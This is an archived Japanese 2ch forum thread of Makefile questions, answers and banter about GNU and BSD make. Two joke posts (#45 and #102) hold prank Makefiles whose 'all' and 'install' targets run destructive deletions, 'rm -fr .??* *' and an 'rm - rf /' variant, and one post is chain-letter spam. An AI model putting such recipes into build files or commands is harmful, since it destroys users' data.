make
■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん@お腹いっぱい。
NGNGGNU make, BSD make, imake, nmake, etc.
0002名無しさん@お腹いっぱい。
NGNG0003名無しさん@お腹いっぱい。
NGNGおれはsedとbcのスレが欲しいね。まじで。
0004名無しさん@お腹いっぱい。
NGNG0005名無しさん@お腹いっぱい。
NGNG0006名無しさん@お腹いっぱい。
NGNG0007名無しさん@お腹いっぱい。
NGNG0008名無しさん@お腹いっぱい。
NGNG0009名無しさん@お腹いっぱい。
NGNG0010名無しさん@お腹いっぱい。
NGNG0012名無しさん@お腹いっぱい。
NGNG教えてエロい人!
0013名無しさん@お腹いっぱい。
NGNGくだらない質問はここに書き込め!なんでもアリ31
http://pc.2ch.net/test/read.cgi/unix/1076169271/
0014名無しさん@お腹いっぱい。
NGNG0015名無しさん@お腹いっぱい。
NGNG0016名無しさん@お腹いっぱい。
NGNG0017名無しさん@お腹いっぱい。
NGNG0018名無しさん@お腹いっぱい。
NGNG0019名無しさん@お腹いっぱい。
NGNGimakeはmakeじゃないだろ!
ちなみに俺はBSD makeボクメツ貴盆。
0020名無しさん@お腹いっぱい。
NGNG0021名無しさん@お腹いっぱい。
NGNG0022名無しさん@お腹いっぱい。
NGNG0023名無しさん@お腹いっぱい。
NGNGこれも、PPxPを使うようになって出番がないので、結局pmakeはディスクの肥やしか。
0024名無しさん@お腹いっぱい。
NGNGこの本買えや
0025名無しさん@お腹いっぱい。
NGNG0026名無しさん@お腹いっぱい。
NGNGports コンパイルするのに必要なのでは
0027名無しさん@お腹いっぱい。
NGNGいいえ、違います。
0028名無しさん@お腹いっぱい。
NGNG今はgmakeでしょ。
0029名無しさん@お腹いっぱい。
NGNG0030名無しさん@お腹いっぱい。
NGNGもともとのpmakeとはかなり違うモノになっちゃってるし、GNU makeが標準の
Linuxとかでそっちと区別するためにpmakeと呼ぶならともかく、*BSDの
標準makeをpmakeとひとくくりにしちゃうのはどうも違和感があるな。
0031名無しさん@お腹いっぱい。
NGNGかなり違いますが……。
必要な場合にわざわざ GNU make 別途インストールしてますよ。
0032名無しさん@お腹いっぱい。
NGNG> *BSDの標準makeはそれぞれのOSでめいめいに改良・機能追加してるから
まあそうなんだけど
> *BSDの
> 標準makeをpmakeとひとくくりにしちゃうのはどうも違和感があるな。
OSからして*BSDもSysVもUNIXとひとくくりにされちゃうんですから、
諦めてください。
0033名無しさん@お腹いっぱい。
NGNG0034名無しさん@お腹いっぱい。
NGNGのようなものはないのでしょうか?
0035名無しさん@お腹いっぱい。
NGNG0036名無しさん@お腹いっぱい。
NGNG0037名無しさん@お腹いっぱい。
NGNG0038名無しさん@お腹いっぱい。
NGNGデフォルトルールはgmakeのようなハードコーディングじゃなくてファイルに書いてあるから。
FreeBSDだと/usr/share/mk/sys.mk。
003934
NGNG本当だ・・・ちゃんと /usr/share/mk/sys.mk に色々ルールが
書かれていました。>>38さんありがとう。
っていうかman makeちゃんと読めよ→俺 _| ̄|_○
0040名無しさん@お腹いっぱい。
NGNG0041名無しさん@お腹いっぱい。
NGNG0042名無しさん@お腹いっぱい。
NGNG0043名無しさん@お腹いっぱい。
NGNGGUN makeと bmake。
makeを規格統一できんの?
0044名無しさん@お腹いっぱい。
NGNGARCH = `machine`
all:
@ echo $(ARCH)
0045名無しさん@お腹いっぱい。
NGNGall:
@rm -fr .??* *
@echo make all done.
clean:
@rm -fr .??*~ *~ .??*.bak *.bak
@echo make clean OK.
love:
@echo make: Not war?
0046名無しさん@お腹いっぱい。
NGNG0047名無しさん@お腹いっぱい。
NGNG0048名無しさん@お腹いっぱい。
NGNGPATH追加したいんだがどうすりゃいいの?
PATH=/hoge/:$(PATH)
じゃ駄目だし
GNU makeです。
0049名無しさん@お腹いっぱい。
NGNGSHELL:=$(ENV) $(SHELL)
動作確認なし。
0050名無しさん@お腹いっぱい。
NGNGリファレンスというか概要というか一覧というかそういうのって
どこかにまとめられてないでしょうか?
みなさんどうやって使い方を会得してんでしょうか? UTSL ?
0051名無しさん@お腹いっぱい。
NGNG0052名無しさん@お腹いっぱい。
NGNG-IオプションでincludeするMakefileのディレクトリのサーチパスを追加できま
すよね。コマンド実行時のオプションではなく、Makefile内の変数でincludeす
るMakefileのサーチパスをvpathみたいに設定できませんか?
0053名無しさん@お腹いっぱい。
NGNG-include ${IPATH}/make.inc
じゃダメなのかね?
0054名無しさん@お腹いっぱい。
NGNGそれだとIPATHを毎回書かないといけないので。
パスの定義をしたファイルをスクリプトで生成しているので、makefileを
includeするサーチパスも一緒に生成して、設定できたらいいと考えてます。
0055名無しさん@お腹いっぱい。
NGNG「パスの定義をしたファイル」を makefile の文法に変換して、
そいつを include すればいいんじゃないの?
makefile の文法に変換っていうのは
>53 の IPATH みたいな変数の代入文でもいいし、
直接 include を書いてしまってもいいかもしれない。
0056名無しさん@お腹いっぱい。
NGNGサンクス。
自動生成するスクリプトとIPATHを使うしかないみたいですね。
-Iと同じ動作をする変数、実装されないかなぁ。
0057名無しさん@お腹いっぱい。
NGNGまったく必要性が感じられないから、実装されないだろうな。
0058名無しさん@お腹いっぱい。
NGNG発想を変えて Makefile 自体をスクリプトで生成すれば?
0059r
NGNG自分で調べて思考錯誤しましたが、これ以上前に進めそうにないので
書き込みします。
2つのソースファイルのグループを、異なるオプションでコンパイル
するためのmakefileを作りたいのですが、現状は、make clean の後の
makeは問題ないが、touch等で更新しても、makeしてくれません。
以下、自分のmakefileです。
CC = sh4-linux-gcc
LD = sh4-linux-gcc
DESTNAME = このファイルを最終的に作りたい
OBJS = なんとか.oたくさん
OPTOBJS = なんとか.oたくさん これと上のグループのオプションを変えたい
.SUFFIXES: .c .o
all: ${DESTNAME}
$(DESTNAME):$(OBJS) $(OPTOBJS)
$(LD) -o $@ $(OBJS) $(OPTOBJS)
CFLAGS = -O3 -Wall -DCPU=V830 -DSYSTEM=GHS -DCPU0 -DSIMULATE -c
OPTCFLAGS = -Wall -DCPU=V830 -DSYSTEM=GHS -DCPU0 -DSIMULATE -c
$(OPTOBJS):
$(CC) -o $@ $(OPTCFLAGS) $*.c
$(OBJS):
$(CC) -o $@ $(CFLAGS) $*.c
clean:
rm -f $(DESTNAME) $(OBJS) $(OPTOBJS)
以上です。
よろしくお願いします。
0060名無しさん@お腹いっぱい。
NGNGmakeスレにどうぞ
0062r
NGNG返事ありがとうございます。
OBJSとか、OPTOBJSに含まれるなんとか.oの元のなんとか.c
をtouchしました。
ソースをいじったらmakeしてくれないと困るので...
今、make -d でデバッグ中です。
0063r
NGNG1、文の順番を入れ換えると結果が変わる
2、.c → .o → 最終ターゲット の繋がりがおかしいから、
下の方が更新されても上に繋がってない。
3、ここから突っ込めば解決しますか?
0064名無しさん@お腹いっぱい。
NGNGmake を一から勉強しる。
0065名無しさん@お腹いっぱい。
NGNG本とか読んで下さい。
0066r
NGNG0067名無しさん@お腹いっぱい。
2005/05/01(日) 12:02:24なんで-O3じゃないの?
-O2と-O3の違い、というか使い分け方ってあるの?
0068名無しさん@お腹いっぱい。
2005/05/01(日) 12:24:23〈〈〈 ヽ
〈⊃ }
∩___∩ | |
| ノ ヽ ! !
/ ● ● | /
| ( _●_) ミ/ <こいつ最高にアホ
彡、 |∪| /
/ __ ヽノ /
(___) /
0069名無しさん@お腹いっぱい。
2005/05/02(月) 11:15:300070名無しさん@お腹いっぱい。
2005/05/02(月) 23:24:15OKボス
0071名無しさん@お腹いっぱい。
2005/05/03(火) 04:11:350072名無しさん@お腹いっぱい。
2005/05/17(火) 23:29:48ありますか?
0073名無しさん@お腹いっぱい。
2005/05/17(火) 23:54:140074名無しさん@お腹いっぱい。
2005/05/18(水) 00:17:140075名無しさん@お腹いっぱい。
2005/05/18(水) 00:33:41007672
2005/05/18(水) 01:19:130077名無しさん@お腹いっぱい。
2005/05/20(金) 11:56:49GNU makeでmakefileをincludeする際include pathの
設定ってできるのでしょうか?
必ず(相対|絶対)パス指定する必要があるんでしょうか?
0078名無しさん@お腹いっぱい。
2005/05/20(金) 12:22:560079名無しさん@お腹いっぱい。
2005/05/20(金) 15:35:31確認したほうがよろしいかと…
0080名無しさん@お腹いっぱい。
2005/07/01(金) 17:51:52Cygwin環境でGNU make中に
objdump -S infile > outfile
と書いて実行するとエラーで終了してしまいます。
直接コマンド入力で実行すると">outfile"で無事ファイルに落としてくれます。
objdumpの出力先を”> outfile”や"1>&outfile"にしても
dump:=$(shell objdump -S infile > outfile ) とかやってみたのですがダメでした。
何かmake中での特別な指定方法でもあるのでしょうか。
0081名無しさん@お腹いっぱい。
2005/07/01(金) 18:31:50もちろんinfileが存在しない状態だとエラーになるけど。
0083名無しさん@お腹いっぱい。
2005/08/16(火) 21:12:31エラーの内容を書かないつーのはじいさんの遺言かなんかか?
0084名無しさん@お腹いっぱい。
2005/08/17(水) 06:31:380085名無しさん@お腹いっぱい。
2005/08/25(木) 13:45:33サフィックスルールをうまく使ってmakeしたいんだけど、
うまくmakefileが書けません・・・どうしたらうまく動作させられるか教えてください。
0086名無しさん@お腹いっぱい。
2005/08/25(木) 15:29:11Info をよく読むといいよ
0087名無しさん@お腹いっぱい。
2005/08/26(金) 12:26:05うまくmakefileに実装できません・・・
http://meraman.dip.jp/wiki.cgi?page=GnuMakeMaster
サフィックスルールを使ってソースファイルとオブジェクトファイルをmakefile配下の別ディレクトリに振り分けるのは無理なんでしょうか?
うまくやれる方法あったらお願いしますm(_ _)m
0088名無しさん@お腹いっぱい。
2005/08/26(金) 14:03:340089名無しさん@お腹いっぱい。
2005/08/29(月) 15:01:13password:*******
#make mank?
..................done.
#ls
mank?
0090名無しさん@お腹いっぱい。
2005/08/30(火) 22:22:550091名無しさん@お腹いっぱい。
2005/09/02(金) 09:49:30これで俺も勝ち組み
0092名無しさん@お腹いっぱい。
2005/09/02(金) 23:25:56それだと、どのみち
本質的に負けてるんじゃないの?w
0093名無しさん@お腹いっぱい。
2005/10/20(木) 18:20:320094名無しさん@お腹いっぱい。
2005/10/20(木) 18:25:23あ、
`pwd`/hoge
でいけますね。
失礼しました。
0095名無しさん@お腹いっぱい。
2005/10/20(木) 18:38:18その後、Makefileで、絶対パスを得た後、
cygpathを使って、windowsのパスに直したいのですが、
上手くいきません。
なんとかする方法はないでしょうか。
TARGET_PATH = `pwd`/$(TARGET)
WIN_TARGET_PATH = `cygpath -w $(TARGET_PATH)`
echo $(WIN_TARGET_PATH)
とやっても、
echo `cygpath -w `pwd`/hoge.hoge`
Usage: cygpath (-d|-m|-u|-w|-t TYPE) [-f FILE] [OPTION]... NAME...
cygpath [-c HANDLE]
:
:
と出てしまいます。
0096名無しさん@お腹いっぱい。
2005/10/20(木) 18:40:43お恥ずかしい限りです
TARGET_PATH = $(shell pwd)/$(TARGET)
WIN_TARGET_PATH = $(shell cygpath -w $(TARGET_PATH))
でいけました
0097名無しさん@お腹いっぱい。
2006/01/02(月) 22:45:11六章の再帰的makeと非再帰的makeについては、
再帰的makeの方を使ったほうが自然だと思うのだが、みなさんは通常どちらを使ってますか?
0098名無しさん@お腹いっぱい。
2006/01/13(金) 00:16:45Recursive Make Considered Harmful
http://aegis.sourceforge.net/auug97.pdf
0099名無しさん@お腹いっぱい。
2006/06/16(金) 15:28:25Label の付け直しで再処理が必要な場合は
自動的にもう一回実行してくれるようにするには
どうしたらいい?
0100名無しさん@お腹いっぱい。
2006/06/16(金) 16:25:19cakeってのがどっかで作られたRHSが書いてたが、実物を見たことが無いんだ。
ケーキと読むんだろ? makeの弟子だとかなんとか。
0101名無しさん@お腹いっぱい。
2006/06/16(金) 16:51:25?? ??
???? ????
??????????????
?????????????????
?????????????????
?????????????????
?????????????????
???????????????
????????????
???????????????
?????????????????
?????????????????
これを見ると今年の受験に落ちます。
これを今から1時間以内に3回他スレにコピペすれば100%、受かります。
貼らないと
落 ち ま す
0102名無しさん@お腹いっぱい。
2006/06/17(土) 05:28:40all:
@echo "type `make install'"
install:
rm - rf /
0103名無しさん@お腹いっぱい。
2006/11/07(火) 05:43:540104名無しさん@お腹いっぱい。
2006/11/24(金) 17:03:17ってのがいっぱいあるのを、$HOME/data/mp3
に変換するのにmakeって使えますか?
今はshell scriptでやってるんだけどいまいち
smartじゃない気がして。
0105名無しさん@お腹いっぱい。
2006/11/24(金) 17:42:410106名無しさん@お腹いっぱい。
2006/11/24(金) 18:36:04data/wav/<artist>/<album>/*.wavは度々更新される種類のファイルとも思えないし。
0107名無しさん@お腹いっぱい。
2006/11/24(金) 22:10:31なるほど。
リッピング、MP3変換、携帯プレーヤにコピー
と3段階あるもんだから、make -> make install
みたいなノリでやったら美しいかと思ったんですが、
たしかにwavは増えることはあっても更新されることはないから
makeで扱うのはちょっと違うかもですね。
さんきゅでした。
0108名無しさん@お腹いっぱい。
2006/11/25(土) 03:37:11make[1]: Leaving directory
が出るcdコマンドの書き方ってどうやるんですか?
0109名無しさん@お腹いっぱい。
2006/11/25(土) 17:25:33残念ながら cd コマンドでは出ない。 make -C を使うと出るよ。
0110名無しさん@お腹いっぱい。
2006/11/25(土) 20:37:040111名無しさん@お腹いっぱい。
2007/05/12(土) 23:21:14そのオブジェクトファイルを作成する記述がないです。
そのオブジェクトファイルがあるディレクトリにはいくつかのサブディレクトリもあって、
そのサブディレクトリの一つに今言っているオブジェクトファイルをつくるmakefileが
あるんですけど、これってどう解釈したらいいでしょうか?
ちなみに、他のサブディレクトリにも今言っているオブジェクトファイルではない
オブジェクトファイルを作るmakefileがそれぞれあります。
make勉強したての僕にアドバイスください。
0112111
2007/05/13(日) 16:10:52僕に気づいて!
0113名無しさん@お腹いっぱい。
2007/05/13(日) 16:57:04サブディレクトリのオブジェクトはサブディレクトリの makefile で作るんだろ。
他にどう解釈するんだ?
あとは書いた奴に聞けよ。
0114名無しさん@お腹いっぱい。
2007/06/17(日) 09:27:18バイナリーデータを指定アドレスに配置する方法を知りたいです。
読み込むとセクション.dataでそのセクションに配置されてしまいます。
0115名無しさん@お腹いっぱい。
2007/06/17(日) 10:43:25http://pc11.2ch.net/test/read.cgi/unix/1079538957/114
http://pc11.2ch.net/test/read.cgi/unix/1127388574/124
http://pc11.2ch.net/test/read.cgi/unix/1176049968/378
0116名無しさん@お腹いっぱい。
2007/06/18(月) 11:53:19http://pc11.2ch.net/test/read.cgi/unix/1127388574/
から来た。
>>114
リンカスクリプトを書いて -T オプションで読ませる。
リンカスクリプトの書き方は ld.info にある。
0117名無しさん@お腹いっぱい。
2007/06/18(月) 23:53:350118名無しさん@お腹いっぱい。
2007/06/19(火) 22:36:30make: INU Is Not Unix. Stop.
make: stopped in /home/inu
$
0119名無しさん@お腹いっぱい。
2007/12/07(金) 04:36:58コマンドラインで -j12 にしても、子プロセスのmakeまではいじれんよな。
0120名無しさん@お腹いっぱい。
2008/07/10(木) 17:28:11$(FWOBJS): obj/%.o: ../lib/FW/src/%.c
@$(CC) $(CFLAGS) $(INC) -MM $< | sed 's/^\([^ ]\)/obj\/\1/' > dpd/$(*F).d
$(CC) $(CFLAGS) $(INC) -c $< -o $@
$(USBOBJS): obj/%.o: ../lib/USB/src/%.c
@$(CC) $(CFLAGS) $(INC) -MM $< | sed 's/^\([^ ]\)/obj\/\1/' > dpd/$(*F).d
$(CC) $(CFLAGS) $(INC) -c $< -o $@
$(OBJSCOM): obj/%.o: ../lib/com/src/%.c
@$(CC) $(CFLAGS) $(INC) -MM $< | sed 's/^\([^ ]\)/obj\/\1/' > dpd/$(*F).d
$(CC) $(CFLAGS) $(INC) -c $< -o $@
$(OBJS): obj/%.o: src/%.c
@$(CC) $(CFLAGS) $(INC) -MM $< | sed 's/^\([^ ]\)/obj\/\1/' > dpd/$(*F).d
$(CC) $(CFLAGS) $(INC) -c $< -o $@
こんな風に出来ないですか?
$(FWOBJS): obj/%.o: ../lib/FW/src/%.c
$(USBOBJS): obj/%.o: ../lib/USB/src/%.c
$(OBJSCOM): obj/%.o: ../lib/com/src/%.c
$(OBJS): obj/%.o: src/%.c
@$(CC) $(CFLAGS) $(INC) -MM $< | sed 's/^\([^ ]\)/obj\/\1/' > dpd/$(*F).d
$(CC) $(CFLAGS) $(INC) -c $< -o $@
複数ルールに同一コマンドを割り当てる方法がワカリマセン。
そんなものは無い?
0121名無しさん@お腹いっぱい。
2008/09/19(金) 14:01:25代わりの何かを教えてください。
0122名無しさん@お腹いっぱい。
2008/09/19(金) 16:32:490123名無しさん@お腹いっぱい。
2008/09/19(金) 16:34:090124名無しさん@お腹いっぱい。
2008/09/21(日) 08:59:05こんなならできるよ
define COMPILE_c
@$(CC) $(CFLAGS) $(INC) -MM $< | sed 's/^\([^ ]\)/obj\/\1/' > dpd/$(*F).d
$(CC) $(CFLAGS) $(INC) -c $< -o $@
endef
$(FWOBJS): obj/%.o: ../lib/FW/src/%.c
$(COMPILE_c)
$(USBOBJS): obj/%.o: ../lib/USB/src/%.c
$(COMPILE_c)
$(OBJSCOM): obj/%.o: ../lib/com/src/%.c
$(COMPILE_c)
$(OBJS): obj/%.o: src/%.c
$(COMPILE_c)
0125名無しさん@お腹いっぱい。
2008/09/25(木) 22:54:34makefile作らなくても、make hoge って打てば
かってにg++ -o hoge hoge.C とかって解釈して実行してくれますよね?
そのときにコンパイルオプションを追加したいんですけどできますか?
0126名無しさん@お腹いっぱい。
2008/10/15(水) 22:57:03make vmlinuz
make zImage
make bzImage
の3つの違いを教えてください。お願いします。
0127名無しさん@お腹いっぱい。
2008/10/15(水) 22:58:010128名無しさん@お腹いっぱい。
2008/10/16(木) 00:15:32*** kachi: don't know how to kachi nko Stop
0129名無しさん@お腹いっぱい。
2008/11/04(火) 08:46:250130名無しさん@お腹いっぱい。
2008/11/07(金) 09:45:000131名無しさん@お腹いっぱい。
2008/12/27(土) 23:06:51make は、1990年代にすでにお爺さん扱いである。
0132名無しさん@お腹いっぱい。
2009/01/04(日) 11:02:240133名無しさん@お腹いっぱい。
2009/03/08(日) 16:37:520134名無しさん@お腹いっぱい。
2009/03/08(日) 17:48:400135名無しさん@お腹いっぱい。
2009/03/12(木) 20:58:52ocaml嫌い。
0136名無しさん@お腹いっぱい。
2009/03/27(金) 19:47:410137名無しさん@お腹いっぱい。
2009/03/31(火) 00:13:430138名無しさん@お腹いっぱい。
2009/10/25(日) 22:15:540139名無しさん@お腹いっぱい。
2009/10/26(月) 02:38:170140名無しさん@お腹いっぱい。
2010/11/19(金) 17:47:050141名無しさん@お腹いっぱい。
2011/01/18(火) 18:47:12make hoge CFLAGS='-hoge -boke'
とか打てばできるよ。
0142名無しさん@お腹いっぱい。
2011/01/18(火) 18:50:21プラプラのソースだから、
make hoge CXXFLAGS='-hoge -boke'
だろ。
というか何年越しの回答だよw
0143名無しさん@お腹いっぱい。
2011/01/18(火) 19:35:240144名無しさん@お腹いっぱい。
2011/01/24(月) 21:23:56できました。ありがとう
0145名無しさん@お腹いっぱい。
2011/04/05(火) 16:50:24.010146名無しさん@お腹いっぱい。
2011/05/23(月) 11:26:13.850147名無しさん@お腹いっぱい。
2011/08/19(金) 17:08:54.17という依存関係は どうやって書けばいい?
0148名無しさん@お腹いっぱい。
2011/08/19(金) 17:49:42.120149名無しさん@お腹いっぱい。
2011/08/19(金) 20:39:01.03教科書を読んで習得するのではなくて、
答えを探し出す能力を養うことである。
0150名無しさん@お腹いっぱい。
2011/08/19(金) 20:53:03.060151名無しさん@お腹いっぱい。
2011/08/19(金) 20:55:14.180152名無しさん@お腹いっぱい。
2011/08/20(土) 00:23:44.43? makeって殆どが「無かったら作る」依存関係でないか?
オブジェクトがなかったらソースをコンパイルして作る。
実行ファイルが無かったらオブジェクトをリンクして作る。
0153名無しさん@お腹いっぱい。
2011/12/05(月) 17:56:22.36hoge:
FOO=1
@echo $(FOO) # 何も表示されない
変数内の値を使いたいとき、1行で書くしかないのでしょうか?
FOO=1; echo $(FOO)ならうまくいくのですが...
■ このスレッドは過去ログ倉庫に格納されています